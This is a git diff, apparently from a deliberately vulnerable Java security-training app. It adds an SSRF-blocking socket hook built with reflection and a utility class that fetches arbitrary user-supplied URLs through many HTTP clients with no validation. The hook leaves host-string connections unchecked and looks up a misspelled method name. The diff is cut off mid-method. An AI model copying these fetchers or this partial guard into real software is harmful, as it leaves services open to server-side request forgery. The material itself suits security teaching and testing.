--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
@@ -0,0 +1,88 @@
+package org.joychou.security.ssrf;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.net.Socket;
+import java.net.SocketImpl;
+import java.net.SocketImplFactory;
+
+
+/**
+ * socket factory impl
+ *
+ * @author liergou @ 2020-04-03 23:41
+ */
+public class SocketHookFactory implements SocketImplFactory {
+
+
+ private static Boolean isHook = false;
+ private static Constructor socketConstructor = null;
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ /**
+ * @param set hook switch
+ */
+ static void setHook(Boolean set) {
+ isHook = set;
+ }
+
+
+ static void initSocket() {
+
+ if (socketConstructor != null) {
+ return;
+ }
+
+ Socket socket = new Socket();
+ try {
+ // get impl field in Socket class
+ Field implField = Socket.class.getDeclaredField("impl");
+ implField.setAccessible(true);
+ Class> clazz = implField.get(socket).getClass();
+
+ SocketHookImpl.initSocketImpl(clazz);
+ socketConstructor = clazz.getDeclaredConstructor();
+ socketConstructor.setAccessible(true);
+
+ } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) {
+ throw new SSRFException("SocketHookFactory init failed!");
+ }
+
+ try {
+ socket.close();
+ } catch (IOException ignored) {
+
+ }
+ }
+
+
+ public SocketImpl createSocketImpl() {
+
+ if (isHook) {
+ try {
+ return new SocketHookImpl(socketConstructor);
+ } catch (Exception e) {
+ logger.error("Socket hook failed!");
+ try {
+ return (SocketImpl) socketConstructor.newInstance();
+ } catch (InstantiationException | IllegalAccessException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+ } else {
+ try {
+ return (SocketImpl) socketConstructor.newInstance();
+ } catch (InstantiationException | IllegalAccessException | InvocationTargetException e) {
+ logger.error(e.toString());
+ }
+ }
+
+ return null;
+ }
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
new file mode 100644
index 00000000..799ca0e5
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
@@ -0,0 +1,269 @@
+package org.joychou.security.ssrf;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.*;
+
+
+/**
+ * Socket impl
+ *
+ * @author liergou @ 2020-04-02 23:39
+ */
+public class SocketHookImpl extends SocketImpl implements SocketOptions {
+
+ private static Boolean isInit = false;
+
+ private static SocketImpl socketImpl = null;
+ private static Method createImpl;
+ private static Method connectHostImpl;
+ private static Method connectInetAddressImpl;
+ private static Method connectSocketAddressImpl;
+ private static Method bindImpl;
+ private static Method listenImpl;
+ private static Method acceptImpl;
+ private static Method getInputStreamImpl;
+ private static Method getOutputStreamImpl;
+ private static Method availableImpl;
+ private static Method closeImpl;
+ private static Method shutdownInputImpl;
+ private static Method shutdownOutputImpl;
+ private static Method sendUrgentDataImpl;
+
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+
+ SocketHookImpl(Constructor socketConstructor) throws IllegalAccessException,
+ InvocationTargetException, InstantiationException {
+ socketImpl = (SocketImpl) socketConstructor.newInstance();
+ }
+
+
+ /**
+ * Init reflect method.
+ *
+ * @author liergou
+ */
+ static void initSocketImpl(Class> initSocketImpl) {
+
+ if (initSocketImpl == null) {
+ SocketHookFactory.setHook(false);
+ throw new RuntimeException("InitSocketImpl failed! Hook stopped!");
+ }
+
+ if (!isInit) {
+ createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class>[]{boolean.class});
+ connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class>[]{String.class, int.class});
+ connectInetAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class>[]{InetAddress.class, int.class});
+ connectSocketAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class>[]{SocketAddress.class, int.class});
+ bindImpl = SocketHookUtils.findMethod(initSocketImpl, "bind", new Class>[]{InetAddress.class, int.class});
+ listenImpl = SocketHookUtils.findMethod(initSocketImpl, "listen", new Class>[]{int.class});
+ acceptImpl = SocketHookUtils.findMethod(initSocketImpl, "accept", new Class>[]{SocketImpl.class});
+ getInputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getInputStream", new Class>[]{});
+ getOutputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getOutputStream", new Class>[]{});
+ availableImpl = SocketHookUtils.findMethod(initSocketImpl, "available", new Class>[]{});
+ closeImpl = SocketHookUtils.findMethod(initSocketImpl, "close", new Class>[]{});
+ shutdownInputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownInput", new Class>[]{});
+ shutdownOutputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownOutput", new Class>[]{});
+ sendUrgentDataImpl = SocketHookUtils.findMethod(initSocketImpl, "sendUrgantData", new Class>[]{int.class});
+ isInit = true;
+ }
+ }
+
+
+ /**
+ * socket base method impl
+ */
+ @Override
+ protected void create(boolean stream) {
+ try {
+ createImpl.invoke(socketImpl, stream);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+
+ @Override
+ protected void connect(String host, int port) {
+ logger.info("host: " + host + "\tport: " + port);
+ try {
+ connectHostImpl.invoke(socketImpl, host, port);
+ } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+
+ @Override
+ protected void connect(InetAddress address, int port) {
+
+ logger.info("InetAddress: " + address.toString());
+
+ try {
+ if (SSRFChecker.isInternalIp(address.getHostAddress())) {
+ throw new RuntimeException("Socket SSRF check failed. InetAddress:" + address.toString());
+ }
+ connectInetAddressImpl.invoke(socketImpl, address, port);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void connect(SocketAddress address, int timeout) {
+
+ // convert SocketAddress to InetSocketAddress
+ InetSocketAddress addr = (InetSocketAddress) address;
+
+ String ip = addr.getAddress().getHostAddress();
+ String host = addr.getHostName();
+ logger.info(String.format("[+] SocketAddress address's Hostname: %s IP: %s", host, ip));
+
+ try {
+ if (SSRFChecker.isInternalIp(ip)) {
+ throw new SSRFException(String.format("[-] SSRF check failed. Hostname: %s IP: %s", host, ip));
+ }
+ connectSocketAddressImpl.invoke(socketImpl, address, timeout);
+ } catch (IllegalAccessException | IllegalArgumentException |
+ InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+ @Override
+ protected void bind(InetAddress host, int port) {
+ try {
+ bindImpl.invoke(socketImpl, host, port);
+ } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void listen(int backlog) {
+
+ try {
+ listenImpl.invoke(socketImpl, backlog);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void accept(SocketImpl s) {
+
+ try {
+ acceptImpl.invoke(socketImpl, s);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected InputStream getInputStream() {
+ InputStream inStream = null;
+
+ try {
+ inStream = (InputStream) getInputStreamImpl.invoke(socketImpl);
+ } catch (ClassCastException | InvocationTargetException |
+ IllegalArgumentException | IllegalAccessException ex) {
+ logger.error(ex.toString());
+ }
+
+ return inStream;
+ }
+
+ @Override
+ protected OutputStream getOutputStream() {
+ OutputStream outStream = null;
+
+ try {
+ outStream = (OutputStream) getOutputStreamImpl.invoke(socketImpl);
+ } catch (ClassCastException | IllegalArgumentException |
+ IllegalAccessException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ return outStream;
+ }
+
+ @Override
+ protected int available() {
+
+ int result = -1;
+
+ try {
+ result = (Integer) availableImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ return result;
+ }
+
+ @Override
+ protected void close() {
+ try {
+ closeImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void shutdownInput() {
+ try {
+ shutdownInputImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+ @Override
+ protected void shutdownOutput() {
+ try {
+ shutdownOutputImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+ @Override
+ protected void sendUrgentData(int data) {
+ try {
+ sendUrgentDataImpl.invoke(socketImpl, data);
+ } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ public void setOption(int optID, Object value) throws SocketException {
+ if (null != socketImpl) {
+ socketImpl.setOption(optID, value);
+ }
+ }
+
+ public Object getOption(int optID) throws SocketException {
+ return socketImpl.getOption(optID);
+ }
+
+ /*
+ * Dont impl other child method now. Don't be sure where will use it.
+ *
+ */
+
+
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
new file mode 100644
index 00000000..00f6c275
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
@@ -0,0 +1,27 @@
+package org.joychou.security.ssrf;
+
+import java.lang.reflect.Method;
+
+class SocketHookUtils {
+
+ /**
+ * Poll the parent class to find the reflection method.
+ * SocksSocketImpl -> PlainSocketImpl -> AbstractPlainSocketImpl
+ *
+ * @author liergou @2020-04-04 01:43
+ */
+ static Method findMethod(Class> clazz, String findName, Class>[] args) {
+
+ while (clazz != null) {
+ try {
+ Method method = clazz.getDeclaredMethod(findName, args);
+ method.setAccessible(true);
+ return method;
+ } catch (NoSuchMethodException e) {
+ clazz = clazz.getSuperclass();
+ }
+ }
+ return null;
+ }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/service/HttpService.java b/src/main/java/org/joychou/service/HttpService.java
new file mode 100644
index 00000000..198a5311
--- /dev/null
+++ b/src/main/java/org/joychou/service/HttpService.java
@@ -0,0 +1,11 @@
+package org.joychou.service;
+
+
+import org.springframework.http.HttpHeaders;
+
+public interface HttpService {
+
+ String RequestHttp(String url, HttpHeaders headers);
+
+ String RequestHttpBanRedirects(String url, HttpHeaders headers);
+}
diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java
new file mode 100644
index 00000000..f63b6e42
--- /dev/null
+++ b/src/main/java/org/joychou/util/CookieUtils.java
@@ -0,0 +1,37 @@
+package org.joychou.util;
+
+import lombok.extern.slf4j.Slf4j;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletResponse;
+
+
+@Slf4j
+public class CookieUtils {
+
+ public static boolean deleteCookie(HttpServletResponse res, String cookieName) {
+ try {
+ Cookie cookie = new Cookie(cookieName, null);
+ cookie.setMaxAge(0);
+ cookie.setPath("/");
+ res.addCookie(cookie);
+ return true;
+ } catch (Exception e) {
+ log.error(e.toString());
+ return false;
+ }
+ }
+
+ public static boolean addCookie(HttpServletResponse res, String cookieName, String cookieValue) {
+ try {
+ Cookie cookie = new Cookie(cookieName, cookieValue);
+ cookie.setMaxAge(1000);
+ cookie.setPath("/");
+ res.addCookie(cookie);
+ return true;
+ } catch (Exception e) {
+ log.error(e.toString());
+ return false;
+ }
+ }
+}
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
new file mode 100644
index 00000000..c1eac95c
--- /dev/null
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -0,0 +1,223 @@
+package org.joychou.util;
+
+import com.squareup.okhttp.OkHttpClient;
+import org.apache.commons.httpclient.HttpClient;
+import org.apache.commons.httpclient.methods.GetMethod;
+import org.apache.commons.io.IOUtils;
+import org.apache.http.HttpResponse;
+import org.apache.http.client.fluent.Request;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClients;
+import org.apache.http.impl.nio.client.CloseableHttpAsyncClient;
+import org.apache.http.impl.nio.client.HttpAsyncClients;
+import org.apache.http.util.EntityUtils;
+import org.jsoup.Jsoup;
+import org.jsoup.nodes.Document;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import javax.imageio.ImageIO;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.HttpURLConnection;
+import java.net.URI;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.concurrent.*;
+
+/**
+ * @author JoyChou 2020-04-06
+ */
+public class HttpUtils {
+
+ private final static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
+
+ public static String commonHttpClient(String url) {
+
+ HttpClient client = new HttpClient();
+ GetMethod method = new GetMethod(url);
+
+ try {
+ client.executeMethod(method); // send request
+ byte[] resBody = method.getResponseBody();
+ return new String(resBody);
+
+ } catch (IOException e) {
+ return "Error: " + e.getMessage();
+ } finally {
+ // Release the connection.
+ method.releaseConnection();
+ }
+ }
+
+
+ public static String request(String url) {
+ try {
+ return Request.Get(url).execute().returnContent().toString();
+ } catch (Exception e) {
+ return e.getMessage();
+ }
+ }
+
+
+ public static String httpClient(String url) {
+
+ StringBuilder result = new StringBuilder();
+
+ try {
+
+ CloseableHttpClient client = HttpClients.createDefault();
+ HttpGet httpGet = new HttpGet(url);
+ // set redirect enable false
+ // httpGet.setConfig(RequestConfig.custom().setRedirectsEnabled(false).build());
+ HttpResponse httpResponse = client.execute(httpGet); // send request
+ BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
+
+ String line;
+ while ((line = rd.readLine()) != null) {
+ result.append(line);
+ }
+
+ return result.toString();
+
+ } catch (Exception e) {
+ return e.getMessage();
+ }
+ }
+
+
+ public static String URLConnection(String url) {
+ try {
+ URL u = new URL(url);
+ URLConnection urlConnection = u.openConnection();
+ BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
+ String inputLine;
+ StringBuilder html = new StringBuilder();
+
+ while ((inputLine = in.readLine()) != null) {
+ html.append(inputLine);
+ }
+ in.close();
+ return html.toString();
+ } catch (Exception e) {
+ logger.error(e.getMessage());
+ return e.getMessage();
+ }
+ }
+
+
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Java/1.8.0_102.
+ */
+ public static String HttpURLConnection(String url) {
+ try {
+ URL u = new URL(url);
+ URLConnection urlConnection = u.openConnection();
+ HttpURLConnection conn = (HttpURLConnection) urlConnection;
+// conn.setInstanceFollowRedirects(false);
+// Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField
+ InputStream is = conn.getInputStream(); // send request
+ BufferedReader in = new BufferedReader(new InputStreamReader(is));
+ String inputLine;
+ StringBuilder html = new StringBuilder();
+
+ while ((inputLine = in.readLine()) != null) {
+ html.append(inputLine);
+ }
+ in.close();
+ return html.toString();
+ } catch (IOException e) {
+ logger.error(e.getMessage());
+ return e.getMessage();
+ }
+ }
+
+
+ /**
+ * Jsoup is a HTML parser about Java.
+ *
+ * @param url http request url
+ */
+ public static String Jsoup(String url) {
+ try {
+ Document doc = Jsoup.connect(url)
+// .followRedirects(false)
+ .timeout(3000)
+ .cookie("name", "joychou") // request cookies
+ .execute().parse();
+ return doc.outerHtml();
+ } catch (IOException e) {
+ return e.getMessage();
+ }
+ }
+
+
+ /**
+ * The default setting of followRedirects is true. The option of followRedirects is true.
+ *
+ * UserAgent is okhttp/2.5.0.
+ */
+ public static String okhttp(String url) throws IOException {
+ OkHttpClient client = new OkHttpClient();
+// client.setFollowRedirects(false);
+ com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
+ return client.newCall(ok_http).execute().body().string();
+ }
+
+
+ /**
+ * The default setting of followRedirects is true.
+ *
+ * UserAgent is Java/1.8.0_102.
+ *
+ * @param url http request url
+ */
+ public static void imageIO(String url) {
+ try {
+ URL u = new URL(url);
+ ImageIO.read(u); // send request
+ } catch (IOException e) {
+ logger.error(e.getMessage());
+ }
+
+ }
+
+
+ /**
+ * IOUtils which is wrapped by URLConnection can get remote pictures.
+ * The default setting of redirection is true.
+ *
+ * @param url http request url
+ */
+ public static void IOUtils(String url) {
+ try {
+ IOUtils.toByteArray(URI.create(url));
+ } catch (IOException e) {
+ logger.error(e.getMessage());
+ }
+ }
+
+
+ public static String HttpAsyncClients(String url) {
+ CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault();
+ try {
+ httpclient.start();
+ final HttpGet request = new HttpGet(url);
+ Future